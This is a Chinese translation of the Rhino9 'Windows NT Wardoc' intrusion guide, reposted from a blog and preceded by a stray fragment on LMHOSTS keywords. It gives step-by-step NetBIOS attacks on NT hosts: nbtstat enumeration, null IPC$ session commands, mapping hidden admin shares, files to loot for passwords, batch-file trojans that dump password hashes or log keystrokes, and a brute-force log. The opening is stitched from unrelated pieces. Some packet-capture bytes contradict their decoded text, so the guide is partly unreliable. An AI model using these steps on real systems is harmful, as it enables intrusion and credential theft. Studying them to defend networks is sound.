文件来解析主机名的。WindowsNT仍然用HOSTS文件,但它也用LMHOSTS文件。
LMHOSTS文件与HOSTS文件很相象,它也是一个用来解析计算机名字(NetBIOS)的展
开顺序文本文件。另外,LMHOSTS文件也允许用户利用关键字,这一特征比HOSTS文件具有
更大的灵活性。
LMHOSTS文件用的关键字是#PRE、#DOM:域、#i nclude文件名、#BEGIN_ALTERNATE和
#END_ALTERNATE。如果井格线后面的不是这些关键字,就被视为评语。
#PRE:在LMHOSTS文件中,如果一个表目后面跟的是这个关键字,它就会通知
WindowsNT把该表目预加载到名字高速缓存器中。这样,Windows系统就能更迅速地解析这
个名字。
#DOM:#DOM标签表目使WindowsNT能够把该表目和您所指定的任意域联系在一起
(即:#DOM:accounting)。这有助于NT更有效地解析特定的名字,因为它不必通过咨询
选路表来找出该表目所属的域。
#i nclude:该表目通知WindowsNT去哪里寻找内置在其它机器上的其它LMHOSTS文件。
在使用这个功能时,用户应该指定访问其它LMHOSTS文件的UNC路径。#BEGIN_ALTERNATE和
#END_ALTERNATE都与#i nclude标签一起使用,并应出现在#i nclude标签的前后。
本文转自loveme2351CTO博客,原文链接:http://blog.51cto.com/loveme23/8240 ,如需转载请自行联系原作者
象生活中经常会自觉惭愧一样,敲“译者序”三个字的时候并非如将盗版光盘插入自
己的CD-ROM一样心安理得。译者不是我,是一位对网络并无多大兴趣(或者有我不了解也
未可知)的文静女孩。交给我译稿时她悄悄问我,是不是看懂了这篇文章就可以做Hacker
了?
翻译此文的初衷是因为自觉为一篇好的技术文章,仅此而已。
最希望此译文能被对网络安全感兴趣的中国少年阅读、试验,如果他或她刚好不那么
精通英文,又刚好通过译文能够有所启发,那我就太安慰了。
考虑过应该将本文放在哪个版,最终决定是因为本文是针对NT操作系统的,也希望大
家能够多些关注NT、Microsoft以及他们背后的新生代野心家。野心家的心理是有缺陷的
正如他们制造出的软件产品有缺陷一样。对待野心家我们除了大声疾呼之外更应该踏实地
坐下来摸索、实践和创造真理。
需要英文原创的用户可访问:
[url]http://www.hackersclub.com/km/library/hack99/wardoc.txt[/url]
欢迎大家收录和转载本文,唯一的请求同样是保持完整性。如果您发现翻译错误请通
过站内邮件系统和我联系。
文章较长正在审稿,我将会尽量连续地贴在本版。
再次对多日面对枯燥文稿的文静女孩表示谢意。
flaw.
[email]flaw@21cn.com[/email]
WINDOWS NT WARDOC
NEONSURGE与RHIN09研究小组关于远程NT渗透方法的研究报告
简介:
==============================================================================
本文是Rhino9小组为证明在攻击基于NT的网络时所采用的方法而编写的。目的是加强
管理员和安全专业人士对攻击者的心理以及目前NT渗透方法的认识。本文是Dan Farmer和
Wietse Venema所著的“如何通过侵入站点来提高站点的安全性(How To Improve The Se
curity Of Your Site by Breaking Into It) ”一文的姊妹篇。
显而易见,本文不包含所有有关NT网络渗透的方法。我们把有关内容编写成一篇文
章,使管理员能够通过它来掌握基本的渗透方法,从而对各自网络的脆弱性进行测试。如
果彻底消化了本文中所涉及到的概念和方法,管理员就能掌握有关渗透如何发生的基础知
识,并能利用这些知识更有效地保护他们的网络。
本文不适合那些对安全性、NT或连网技术一无所知的人士阅读。作者认为,本文读者
应该对协议、服务器技术和网络体系结构有一定的了解。
作者希望继续对本文进行进一步扩充并发布更新版本。在此,我们衷心地希望所有愿
意为这一研究课题作出贡献的人士把有关渗透测试方法的详细资料寄给我们。我们将把这
些资料作为最新的可靠来源,以便于及时发布本文档的更新版本。
请将您的资料寄至: [email]neonsurge@hotmail.com[/email] 。
如果您提交的资料的确有价值,我们会及时把它整理到文档中,并给予您适当的稿
酬。
使用
==============================================================================
本文是按照程序上的方式编写的。我们在编写过程中力求使本文更象是网络入侵者真
正采取网络渗透方法侵入网络。一旦理解了怎样做以及为什么这样做,您就能轻松自如地
实现本文中所探讨的各种渗透方法。
本文共分三个章节:NetBIOS、Web服务器及其它。各章节都对不同的信息收集与渗透
方法进行了说明。
通过NETBIOS实现信息收集与渗透
==============================================================================
网络入侵者通常采取的第一步是通过端口扫描程序扫描目标机或网络。令人吃惊的
是,以目标机的开放端口为基础对网络进行的攻击是多么的有条不紊。您应该清楚,除了
Unix机外,这是NT机显示不同开放端口的标准。网络入侵者懂得查看端口扫描程序,并通
过相当准确的结果来断定它是一台NT机还是一台Unix机。当然也有一些例外,但一般情况
下都能这样做。最近,业界发布了几个用来远程鉴别机器的工具,但该功能目前还不能用
于NT。
当攻击基于NT的网络时,NetBIOS往往是首选的攻击对象。因此,NetBIOS就成为本文
中第一个要探讨的重要课题。
用NetBIOS进行信息收集相当容易,虽然要花费一点时间。NetBIOS一般被看作是开销
很大的大容量协议,速度往往很慢,这也就是要耗费时间的原因。
如果端口扫描程序报告端口139在目标机上是开放的,那么接下来就是一个很自然的
过程。第一步是发出NBTSTAT命令。
NBTSTAT命令可以用来查询涉及到NetBIOS信息的网络机器。另外,它还可以用来消除
NetBIOS高速缓存器和预加载LMHOSTS文件。这个命令在进行安全检查时非常有用。
用法:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s]
[interval]
参数-a列出为其主机名提供的远程计算机名字表。
-A列出为其IP地址提供的远程计算机名字表。
-c列出包括了IP地址的远程名字高速缓存器。
-n列出本地NetBIOS名字。
-r列出通过广播和WINS解析的名字。
-R消除和重新加载远程高速缓存器名字表。
-S列出有目的地IP地址的会话表。
-s列出会话表对话。
NBTSTAT生成的列标题具有以下含义:
Input
接收到的字节数。
Output
发出的字节数。
In/Out
无论是从计算机(出站)还是从另一个系统连接到本地计算机(入站)。
Life
在计算机消除名字表高速缓存表目前“度过”的时间。
Local Name
为连接提供的本地NetBIOS名字。
Remote Host
远程主机的名字或IP地址。
Type
一个名字可以具备两个类型之一:unique or group
在16个字符的NetBIOS名中,最后一个字节往往有具体含义,因为同一个名可以在同
一台计算机上出现多次。这表明该名字的最后一个字节被转换成了16进制。
State
NetBIOS连接将在下列“状态”(任何一个)中显示:
状态含义:
Accepting: 进入连接正在进行中。
Associated: 连接的端点已经建立,计算机已经与IP地址联系起来。
Connected: 这是一个好的状态!它表明您被连接到远程资源上。
Connecting: 您的会话试着解析目的地资源的名字-IP地址映射。
Disconnected: 您的计算机请求断开,并等待远程计算机作出这样的反应。
Disconnecting: 您的连接正在结束。
Idle: 远程计算机在当前会话中已经打开,但现在没有接受连接。
Inbound: 入站会话试着连接。
Listening: 远程计算机可用。
Outbound: 您的会话正在建立TCP连接。
Reconnecting: 如果第一次连接失败,就会显示这个状态,表示试着重新连接。
下面是一台机器的NBTSTAT反应样本:
C:\>nbtstat –A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIFQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
您通过下表能掌握有关该机器的哪些知识呢?
名称编号类型的使用:
00 U 工作站服务
01 U 邮件服务
\\_MSBROWSE_ 01 G 主浏览器
03 U 邮件服务
06 U RAS服务器服务
1F U NetDDE服务
20 U 文件服务器服务
21 U RAS客户机服务
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U 调制解调器共享服务器服务
31 U 调制解调器共享客户机服务
43 U SMS客户机远程控制
44 U SMS管理远程控制工具
45 U SMS客户机远程聊天
46 U SMS客户机远程传输
4C U DEC Pathworks TCP/IP服务
52 U DEC Pathworks TCP/IP服务
87 U Exchange MTA
6A U Exchange IMC
BE U网络监控代理
BF U网络监控应用
03 U邮件服务
00 G域名
1B U域主浏览器
1C G域控制器
1D U主浏览器
1E G浏览器服务选择
1C G Internet信息服务器
00 U Internet信息服务器
[2B] U Lotus Notes服务器
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan网关服务
Unique (U): 该名字可能只有一个分配给它的IP地址。在网络设备上,一个要注册的名字
可以出现多次,但其后缀是唯一的,从而使整个名字是唯一的。
Group (G): 一个正常的群;一个名字可以有很多个IP地址。
Multihomed (M): 该名字是唯一的,但由于在同一台计算机上有多个网络接口,这个配置
可允许注册。这些地址的最大编号是25。
Internet Group (I): 这是用来管理WinNT域名的组名字的特殊配置。
Domain Name (D): NT 4.0提供的新内容。
网络入侵者可以通过上表和从nbtstat获得的输出信息开始收集有关您的机器的信息。
有了这些信息,网络入侵者就能在一定程度上断定有哪些服务正在目标机上运行,有时也
能断定已经安装了哪些软件包。
从传统上讲,每个服务或主要的软件包都具有一定的脆弱性,因此,这一类型的信息
对网络入侵者当然有用。
第二个逻辑步骤是通过远程机收集可能的用户名。网络登录包括两个部分:用户名和
口令。一旦网络入侵者掌握了有效的用户列表,他就能获得一半的有效登录信息。现在,
采用了nbtstat命令,网络入侵者就能掌握从本地注册到该台机器上的任何人的登录名。
在通过nbtstat命令得到的结果中,采用<03>识别符的表目是用户名或机器名。另外,还
可以通过空IPC会话和SID工具来收集用户名(详细内容见“SID工具”,附录B)。
IPC$(进程间通信)共享是NT主机上一个标准的隐藏共享,主要用于服务器到服务器
的通信。NT主机用来互相连接并通过这个共享来获得各种必要的信息。鉴于在各种操作系
统中都有很多设计特征,网络入侵者已经懂得利用这种特征来达到他们的目的。通过连接
这个共享,网络入侵者从技术上就能够实现与您的服务器的有效连接。通过与这个共享的
空连接,网络入侵者就能够在不需要提供任何身份证明的情况下建立这一连接。
要与IPC$共享进行空连接,网络入侵者就在命令提示符下发出如下命令:
c:\>net use \\[目标主机的IP地址]\ipc$ "" /user:""
如果连接成功,网络入侵者就会有很多事情要做,而不是收集用户列表,不过他是以
收集用户列表开始的。如上所述,这个方法需要一个空IPC会话和SID工具。由
Evgenii Rudnyi编写的SID工具包括两个不同的部分:User2sid和Sid2user。User2sid采
用一个帐户名字或群组,给您一个对应的SID。而Sid2user采用一个SID,给您对应的用户
或群组的名字。作为一个独立的工具,这个进程是手工进行的,要消耗大量的时间。
Userlist.pl是Mnemonix编写的一个perl脚本,它将使这个SID进程自动化,从而大大
缩短网络入侵者收集这些消息所花费的时间。
这时,网络入侵者就会了解到哪些服务正在远程机上运行以及已经安装了哪些主要的
软件包(有限的),同时还能得到该机器上有效的用户名和群组列表。尽管这似乎是一个
外来者所要掌握的有关您的网络的信息,但是,空IPC会话已经为信息收集留下了其它隐
患。目前,Rhino9小组已经能够检索远程机的全部固有安全约束规则。帐户封锁、最小口
令长度、口令使用周期、口令唯一性设置以及每一个用户、他们所归属的群组以及该用户
的个人域限制等所有信息都可以通过一个空IPC会话获得。这个信息收集功能将在近期发
布的Leviathan工具(由Rhino9小组编写)中提供。下面将对目前可用的一些工具进行探
讨,这些工具可用来通过空IPC会话收集更多的信息。
有了这个空IPC会话,网络入侵者也能获得网络共享列表,否则就无法得到。为此,
网络入侵者希望了解到在您的机器上有哪些可用的网络共享。为了收集到这些信息,要采
用下列这个标准的net view命令:
c:\>net view \\[远程主机的IP地址]
根据目标机的安全约束规则,可以拒绝或不拒绝这个列表。举例如下(因某种原因IP
地址已省略):
C:\>net view \\0.0.0.0
System error 5 has occurred.
Access is denied.
C:\>net use \\0.0.0.0\ipc$ "" /user:""
The command completed successfully.
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
正如您所看到的,该服务器上的共享列表在建立了空IPC会话后才可用。这时,您就
会意识到这个IPC连接有多么的危险,但我们现在已经掌握的IPC方法实际上是很基本的方
法。与IPC共享一起出现的可能性还有待进一步研究。
WindowsNT 4.0资源工具的发布使得象管理员和网络入侵者这样的人能够用到新的工
具。下面对一些资源工具实用程序进行描述。Rhino9小组运用这些实用程序与IPC$空会话
一起收集信息。当您阅读这些工具的描述以及它们所提供的信息时,请记住:所采用的空
会话不向远程网络提供任何真实的身份证明。
UsrStat: 这个命令行实用程序显示特定域中各个用户的用户名、全名以及最后一次登
录的日期和时间。下面是根据远程网络通过一个空IPC会话采用这个工具进行的实际剪切和
粘贴:
C:\NTRESKIT>usrstat domain4
Users at \\STUDENT4
Administrator - - logon: Tue Nov 17 08:15:25 1998
Guest - - logon: Mon Nov 16 12:54:04 1998
IUSR_STUDENT4 - Internet Guest Account - logon: Mon Nov 16 15:19:26 1998
IWAM_STUDENT4 - Web Application Manager account - logon: Never
laurel - - logon: Never
megan - - logon: Never
我们现在来探讨一下整个俘获过程是怎么样发生的,以便于加深读者的理解。在真正
的攻击发生前,把一个映射放到通过#PRE/#DOM标记映射Student4机器及其域活动状态的
lmhosts文件中(下面详述)。然后把表目预加载到NetBIOS高速缓存器中,同时建立一个
空IPC会话。正如您所看到的,这个命令是根据域名发出的。最后,该工具会向主域控制
器查询这个域。
global: 这个命令行实用程序显示远程服务器或域上全局群组的成员。如上所述,这个实
用程序是与Lmhosts/IPC映射一起使用的。下面是这个global工具的实际俘获。在这个例
子中,“域用户”是WindowsNT域中出现的标准默认全局群组。我们在此采用这个工具向
Domain1查询“域用户”群组中所有用户的列表。
C:\>global “Domain Users” domain1
Bob
SPUPPY$
BILLY BOB$
Bill
IUSR_BILLY BOB
IWAM_BILLY BOB
IUSR_SPUPPY
IWAM_SPUPPY
local: local工具象global工具一样操作,不同之处是,它向机器查询本地群组的成
员,而不是全局群组的成员。下面是local工具向服务器查询其管理员群组列表的例子。
C:\>local “administrators” domain1
Bob
Domain Admins
Bill
NetDom:NetDom是一个向服务器查询它在域中的角色以及向机器查询其PDC的工具。另外,
NetDom工具还与Lmhosts/IPC映射协同工作。下面是该工具的俘获信息及其标准输出:
Querying domain information on computer \\SPUPPY…
The computer \\SPUPPY is a domain controller of DOMAIN4.
Searching PDC for domain DOMAIN4…
Found PDC \\SPUPPY
The computer \\SPUPPY is the PDC of DOMAIN4.
NetWatch:NetWatch是一个向调用该工具的用户提供远程机上的共享列表的工具。同样,
这个工具也能与Lmhosts/IPC映射一起使用。这个工具的缺点是,人们能够利用该工具来
检索远程机上的隐藏共享列表(Rhino9小组已经测试过)。
其它涉及到IPC共享的渗透方法包括打开远程机的注册表以及远程域用户管理器。空
IPC连接使网络入侵者能够对您的注册表进行访问。一旦建立了空IPC会话,网络入侵者就
能启用其本地注册表编辑器实用程序,并尝试连接网络注册表选项。如果尝试成功,入侵
者就会对一定的注册表键具有只读访问权限,甚至是读/写权限。无论如何,就算对注册
表只有只读访问权限,从安全角度来讲这也是非常有害的。
另外,网络入侵者还会利用IPC域用户管理器方法。这个方法鲜为人知。我们在这里
涉及到这个问题是因为它是一个非常有效的入侵方法。这个方法涉及到一个空IPC会话和
输入LMHOSTS文件的表目。LMHOSTS文件(在一般情况下)是一个保存在基于Windows的机
器上的本地文件,用于把NetBIOS名字映射到IP地址。LMHOSTS文件主要用在非WINS环境中
或者不能使用WINS的客户机上,而实际上,网络入侵者可以通过很多种不同的方式来使用
这个文件。我们将在下文中对LMHOSTS文件的不同使用方法进行探讨。现在我们对如何在
这个方法中使用LMHOSTS文件进行论述。
这是一个绝妙的方法,因为它能说明如何把前面介绍的方法与这个方法结合起来使用
从而达到网络入侵者的目的。我们先从端口扫描程序开始,假设端口139是开放的,攻击
者就会发出一个nbtstat命令。然后,他会通过nbtstat结果收集远程机的NetBIOS名字。
让我们来看看得出的nbtstat结果,与前面的结果相同:
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
通过检查nbtstat命令的结果,我们可以找到<03>识别符。如果有人从本地登录到该
机器上,您就会看到两个<03>识别符。在一般情况下,第一个<03>识别符是机器的
netbios名字,第二个<03>识别符是本地登录用户的名字。这时,网络入侵者就会把这台
机器的netbios名字和IP地址映射放到他本地的LMHOSTS文件中,用#PRE和#DOM标签终止表
目。#PRE标签表示应该把表目预加载到netbios高速缓存器中。#DOM标签表示域活动。这
时,网络入侵者就会发出一个nbtstat –R命令,把表目预加载到他的高速缓存器中。从
技术角度来讲,这个预加载会使表目看起来好象已经由一些网络功能解析过,并使名字解
析起来更加快捷。
下一步,网络入侵者会建立一个空IPC会话。一旦成功地建立了空IPC会话,网络入侵
者就能启用域用户管理器的本地拷贝,并在用户管理器中利用选择域功能。接着,远程机
的域就会出现(或者能够人工输入),因为它已经被预加载到高速缓存器中。如果远程机
的安全性没有保障,用户管理器就会显示远程机上所有用户的列表。如果这是通过一个很
缓慢的链接(如28.8K调制解调器)来进行的,那么在一般情况下就不会起作用。但如果
采用较快的网络连接,就会有成效。
既然网络入侵者已经收集到有关您的机器的资料,下一步就是真正渗透您的机器。我
们要探讨的第一个渗透方法是公开文件共享攻击。网络入侵者会把前面提到的net view命
令和net use命令结合起来实现这一攻击。
我们采用前面的net view命令对网络入侵者的攻击进行论述:
C:\> net view \\0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
一旦攻击者掌握了远程共享列表,他就会试着映射到远程共享。这一攻击的命令结构
是:
c:\>net use x: \\0.0.0.0\inetpub
只有当共享不设密码或分配给everyone群组时这一攻击才有效(注:everyone群组表
示每个人。如果有人作为空用户连接,他们现在就是everyone群组的组成部分)。如果这
些参数都正确,攻击者就能把网络驱动器映射到您的机器上并开始一系列的渗透攻击。请
记住:网络入侵者并不局限于把驱动器映射到通过net view命令显示出来的共享上。了解
NT的网络入侵者都知道NT隐藏了管理共享。根据默认值,NT为该机器上的每一个驱动器都
创建IPC$共享和一个隐藏共享(即:一台有C、D和E驱动器的机器会有对应的C$、D$和E$
的隐藏共享)。另外,还有一个直接映射到NT安装路径的隐藏ADMIN$共享(即:如果您把
NT安装在C:\winnt目录下,ADMIN$就映射到该驱动器的确切位置)。Rhino9小组已经注意
到,大多数NT安全界人士似乎都不大重视这个从一台内部NT机渗透另一台内部NT机的概
念。在我们的专业检查过程中,Rhino9小组已经多次完成了这项任务。问题是,如果网络
入侵者是有心的并能得到对您的一台机器的访问权限,他就会悄悄地潜入其余的网络机
器。因此,这些共享攻击会造成严重的威胁。
(旁注:Rhino9小组曾经对位于佛罗里达州的一家大型ISP进行远程渗透检查。我们
先得到其技术人员个人机器上的共享访问权限,然后从那里得到整个网络的访问权限。这
是完全可以办到的。)
首先,有些人可能不会意识到有人在访问您的硬盘时对您的机器所造成的危险。访问
硬盘为收集信息和安放特洛伊木马/病毒提供了新的途径。一般情况下,攻击者会寻找包
含有口令或高度敏感的数据的内容,因为他能利用这些数据来继续深入您的网络。下面列
出的是网络入侵者要寻找和利用的一些文件。我们对每一个文件及其使用方法都进行了简
要的介绍。
Eudora.ini: 这个文件用来存储支持eudora电子邮件软件的配置信息。被称为
eudpass.com的工具会提取个人用户名、口令信息以及网络入侵者需要用来窃取用户邮件
的所有信息。这时,入侵者可以通过配置自己的电子邮件软件来阅读目标邮件。同样,有
些人要花很长时间才能意识到这一危险的存在。但是,要记住,在一般情况下,人都会很
容易地养成习惯的。用户的电子邮件口令与他们用来登录到网络的口令在大多数情况下都
是相同的。现在攻击者要做的就是不断地窥探用户的硬驱,寻找能为他指出该用户业务场
所的用户简历或一些与工作相关的其它文档,从而使他能够对网络发动强大的攻势。
Tree.dat: 这是一个由通用软件CuteFTP用来存储用户ftp站点/用户名/口令的文件。
利用一个称为FireFTP的程序,攻击者就能轻易地破解tree.dat文件。这样,如上所述,
他能不断地收集有关您的信息并对您的业务场所发起攻击。显而易见,如果您在
tree.dat中有一个直接到您业务场所的ftp映射,那么他就能更容易地攻击您的网络。
PWL: PWL一般内置在Win95机上。它们用来为Windows95最终用户存储操作特有的口
令。一个称为glide.exe的工具会破坏PWL文件。另外还有一些介绍如何用计算器人工破坏
这些PWL文件加密的文档。接下来,攻击者会继续收集有关用户的信息并拟订攻击方案。
PWD: PWD文件在运行FrontPage或Personal Webserver的机器上。这些文件包括纯文
本用户名和一个与用来管理Web站点的身份证明资料相匹配的加密口令。用于这些口令的
加密方案是标准的DES方案。众所周知,在internet上提供有很多破坏实用程序的DES。
Solar Designer编写的John the Ripper能非常有效的破坏这些口令。
WS_FTP.ini: 这个ini文件在使用ws_ftp软件的机器上。尽管适用于这个文件的自动
口令析取字最近才被推荐给安全界,但所采用的加密机制还不够强壮。口令是被转换成十
六进制数(2位)的。如果一个数字在N位置,那么N就被增加到该数字上。反向操作就会
破坏这个加密方案。
(这种方法有时也可破坏PMail.ini–Pegasus Mail和Prefs.js–Netscape。)
IDC文件:IDC(internet数据库连接符)文件一般用于从web服务器到数据库的后端
连接。因为这种类型的连接一般都需要身份认证,所以,一些IDC文件包含有纯文本的用
户名/口令。
waruser.dat: 这是适用于通用Win32 FTP服务器——WarFTP的配置文件。这个特殊
的dat文件可包含FTP服务器本身的管理口令。根据作者掌握的资料,这种情况仅在
WarFTP 1.70版中发生。
$winnt$.inf:在WindowsNT的独立安装过程中,安装进程需要信息文件。作为这个
独立安装进程的残余数据,有一个称为$winnt$.inf的文件位于%systemroot%\system32
目录下。这个文件可包含有在安装过程中要使用的帐户的用户名/口令。因为在这些类型
的安装中所使用的帐户一般都需要网络上的允许权限设置,所以这是一件很重要的事。
Sam._:尽管人们很早就知道如果SAM数据库被心怀叵测的人所利用就会出现问题,
但很多人都不记得这个sam._文件了。如果入侵者能够通过网络安装驱动器,那该如何拷
贝SAM数据库呢?一般情况下这是不大可能的,因为您所连接的NT服务器正在运行。当NT
服务器正在运行时,它会锁定SAM。不过,如果管理员已经创建了一个紧急修复盘,SAM的
拷贝就应该位于%systemroot%\repair\目录下。这个文件将命名为sam._。根据默认值,
这个拷贝是人人都可读取的。通过利用samdump实用程序的拷贝,您就能从复制的SAM中转
储用户名/口令。
ExchVerify.log:这个ExchVerify.log文件是由Cheyenne/Innoculan/ArcServe生成
的。一般情况下,它是通过安装Cheyenne/Innoculan/ArcServe软件生成的,内置在进行
软件安装的驱动器的根目录下。这个文件可包含有极其敏感的信息,如下所示:
: ExchAuthenticate() called with
NTServerName:[SAMPLESERVER]
NTDomainName[SAMPLESERVER] adminMailbox:[administrator]
adminLoginName:[administrator]
password:[PASSWORD]
很明显,这个文件包含有入侵者用来进一步破坏您的网络完整性的信息。
Profile.tfm:Profile.tfm是一个由POP3客户机软件AcornMail生成的文件。在撰写
本文时,AcornMail开始引起internet界的广泛关注。在检测该软件时,我们发现它是一
个很有效的POP3客户机,但其安装并不很好地兼容NTFS。在安装完该软件后,我们开始检
查AcornMail生成的文件,发现Profile.tfm文件保存有用户名/口令。一开始,我们断定
该软件完全正常,因为它确实以加密的形式存储口令。接着,我们意识到profile.tfm的
允许权限被设置为Everyone/完全控制。这样就有了问题,因为任何人都能得到该文件的
一个拷贝并把这个文件插入他们自己的AcornMail安装程序中。然后,入侵者就能用已存
储的信息来登录。下面是网络监测器中的俘获信息:
00000000 00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45 00 ..pLg.........E.
00000010 00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36 .J..@.=....b.S.6
00000020 DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18 ...n.D.....2Q.P.
00000030 22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F "8d...+OK.Passwo
00000040 72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 rd.required.for.
00000050 68 6B 69 72 6B 2E 0D 0A jjohn...
00000000 98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00 ........pLg...E.
00000010 00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62 .6..@....A.6...b
00000020 C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18 .S.D.n.2Q.....P.
00000030 21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74 !.....PASS.xerox
00000040 37 33 0D 0A 63..
如您所看到的,用户名/口令确实是用纯文本传送的。这不是AcornMail的错,但是在
POPvX中已经有问题出现。这个“数据”文件对换/包取样的方法已经由Rhino9小组在大量
的软件上测试过,因此,这一攻击并不局限于AcornMail。
我们已经对入侵者想要得到的文件(如果获得对您的硬驱的访问权限)进行了探讨,
现在我们就来讨论一下安放特洛伊木马。如果有一种方法能使攻击者获得大量的信息,那
就是安放特洛伊木马。公开的文件共享攻击一般都会为安放特洛伊木马提供方便。在最容
易安放和最广为人知的特洛伊木马中,有一个是捆绑在批处理文件中的PWDUMP实用程序。
如果准备妥当,这个批处理文件就会最小化执行(也被称为聪明的文件,如viruscan.cmd
),然后再运行PWDUMP实用程序,在运行了它的进程后删除PWDUMP实用程序,并最终删去
文件本身。它一般都不会留下证据,并会在该台机器上生成一个完美的所有用户名/口令
的文本文件。
“游戏”规则:目标必须是NT主机,执行特洛伊木马程序的最终用户必须是管理员,
这样,攻击者就能把批处理文件放在管理员启动文件夹中,开始等待。当下一次管理员登
录到机器上时,批处理文件就执行和转储用户名/口令。然后,攻击者就会通过文件共享
连接到该机器上并收集结果。
入侵者可能尝试的另一个可靠的攻击方法是把按键记录器批处理文件放到启动文件夹
中。这种方法可适用于任何用户,不仅仅是管理员。这样即可收集所有该用户发出的按键
信息,但没有最初的登录身份资料(这是NT的结构所致,它会在登录过程中终止所有用户
方式进程)。然后,攻击者就可以连接到目标机上并收集记录下的按键信息。
最致命的特洛伊木马攻击之一就是一个以管理员的身份运行并采用AT命令建立预定事
件的批处理文件。因为AT命令能作为系统运行,所以,它能生成SAM数据库和注册表的拷
贝。可以想象得出攻击者采用这种方法时会享受到多么大的乐趣。
如何防止此类攻击呢?不要把文件共享给Everyone群组,并在您的环境中加强口令机
制。如果入侵者遇到一台每次都要向他提示输入身份证明信息的服务器,入侵者就会变得
灰心丧气,随即离开。不过,有耐心的入侵者会继续进行Brute Force攻击。
无庸置疑,Brute Force NetBIOS攻击最常用的工具是NAT。NAT(NetBIOS检查工具)
工具让用户能够通过可能的用户名/口令列表使网络连接命令自动操作。NAT将通过所提供
的列表中的每一个用户名和每一个口令试着连接到远程机上。这是一个很漫长的过程,但
攻击者往往会使用一个常见口令的缩短列表。
一个成功的入侵者会通过上述信息收集方法建立他自己的用户名列表。入侵者准备使
用的口令列表也是通过收集到的信息建立的。他们通常从不充实的口令列表开始,然后根
据用户名建立其余的口令列表。这对于那些能找到给用户名设置的口令的安全专业人士来
说完全是意料之中的事。
攻击者可以指定一个要攻击的IP地址,也可以指定整个范围内的IP地址。NAT会尽力
完成这项任务,并一直生成格式化报告。
下面是通过internet进行真正NAT攻击的实际结果文件。尽管Rhino9小组在进行这一
攻击时获得准许,但为了保护测试目标还是更改了IP地址。
--- Reading usernames from userlist.txt
--- Reading passwords from passlist.txt
--- Checking host: 0.0.0.0
--- Obtaining list of remote NetBIOS names
--- Attempting to connect with name: *
--- Unable to connect
--- Attempting to connect with name: *SMBSERVER
--- CONNECTED with name: *SMBSERVER
--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
--- Server time is Tue Oct 14 11:33:46 1997
--- Timezone is UTC-4.0
--- Remote server wants us to encrypt, telling it not to
--- Attempting to connect with name: *SMBSERVER
--- CONNECTED with name: *SMBSERVER
--- Attempting to establish session
--- Was not able to establish session with no password
--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMINIS
TRATOR'
--- Attempting to connect with Username: `ADMINISTRATOR' Password: `GUEST'
--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ROOT'
--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMIN'
--- Attempting to connect with Username: `ADMINISTRATOR' Password: `PASSWOR
D'
--- CONNECTED: Username: `ADMINISTRATOR' Password: `PASSWORD'
--- Obtained server information:
Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]
--- Obtained listing of shares:
共享名类型注释
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
D$ Disk: Default share
E$ Disk: Default share
HPLaser4 Printer: HP LaserJet 4Si
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
print$ Disk: Printer Drivers
--- This machine has a browse list:
服务器注释
AENEMA
--- Attempting to access share: \\*SMBSERVER\
--- Unable to access
--- Attempting to access share: \\*SMBSERVER\ADMIN$
--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
--- Checking write access in: \\*SMBSERVER\ADMIN$
--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
--- Attempting to access share: \\*SMBSERVER\C$
--- WARNING: Able to access share: \\*SMBSERVER\C$
--- Checking write access in: \\*SMBSERVER\C$
--- WARNING: Directory is writeable: \\*SMBSERVER\C$
--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
--- Attempting to access share: \\*SMBSERVER\D$
--- WARNING: Able to access share: \\*SMBSERVER\D$
--- Checking write access in: \\*SMBSERVER\D$
--- WARNING: Directory is writeable: \\*SMBSERVER\D$
--- Attempting to exercise .. bug on: \\*SMBSERVER\D$
--- Attempting to access share: \\*SMBSERVER\E$
--- WARNING: Able to access share: \\*SMBSERVER\E$
--- Checking write access in: \\*SMBSERVER\E$
--- WARNING: Directory is writeable: \\*SMBSERVER\E$
--- Attempting to exercise .. bug on: \\*SMBSERVER\E$
--- Attempting to access share: \\*SMBSERVER\NETLOGON
--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
--- Checking write access in: \\*SMBSERVER\NETLOGON
